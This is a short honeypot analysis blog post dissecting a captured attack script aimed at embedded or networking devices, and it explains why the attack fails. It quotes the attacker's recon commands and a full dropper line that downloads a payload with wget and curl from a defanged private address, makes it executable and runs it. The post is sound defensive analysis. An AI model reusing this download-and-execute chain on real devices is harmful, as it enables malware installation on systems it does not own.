Null by Copy/Paste - What Stuck In The Honey

Recently, my honeypot observed a simple attack which is entirely ineffective because of an attacker configuration issue.

1. start
2. enable
3. config terminal
4. system
5. linuxshell
6. shell
7. su
8. sh

This script starts off with some some recon to determine what type of system it’s running on. The particular commands it runs suggest it’s targeting an embedded or networking device.

1. cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'
2. bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

Then it moved to a more discrete directory. The ‘cd ||’ chain will cd to the first directory which actually exists. Then, it verifies that Busybox is assessable by using it to echo ‘ELF’. I believe it then tried to verify that the wget applet is present in BusyBox, though this command will echo ‘ELF’ again regardless of the output the ‘busybox wget’ command.

1. cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /; rm -rf i; wget hxxp://192[.]168[.]1[.]1:8088/i; curl -O hxxp://192[.]168[.]1[.]1:8088/i; /bin/busybox wget hxxp://192[.]168[.]1[.]1:8088/i; chmod 777 i || (cp /bin/ls ii;cat i>ii;rm i;cp ii i;rm ii); ./i; echo -e '\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64'

Here’s where this attack becomes null and void. The script finds a hiding place for its dropper (interestingly it’s a different list of directories than used previously) and tries to download a payload from 192.168.1.1. If you’re familiar with networking, you’ll know this is an RFC1918 private IP address. This is important because RFC1918 private IP addresses can not be routed over the internet. This means that the script is trying to download a payload from another device on your network. This only works if another device on your network has been compromised and is hosting the payload on port 8088. While it is possible this was the intent, I do not believe this is the case because my honeypot is not hosted on a 192.168.0.0/16 network, so this seems to be a static address. The most likely scenario is that this IP address is a remnant either from a copy/pasted script, or from when the attacker was testing their script on their own network. This attack does not have any additional persistence or execution measures, so in effect this attack does nothing.

AI Use Disclosure
AI did not write any of this analysis. Qwen3 8B was used as one step in a pipeline to enrich the collected DShield logs.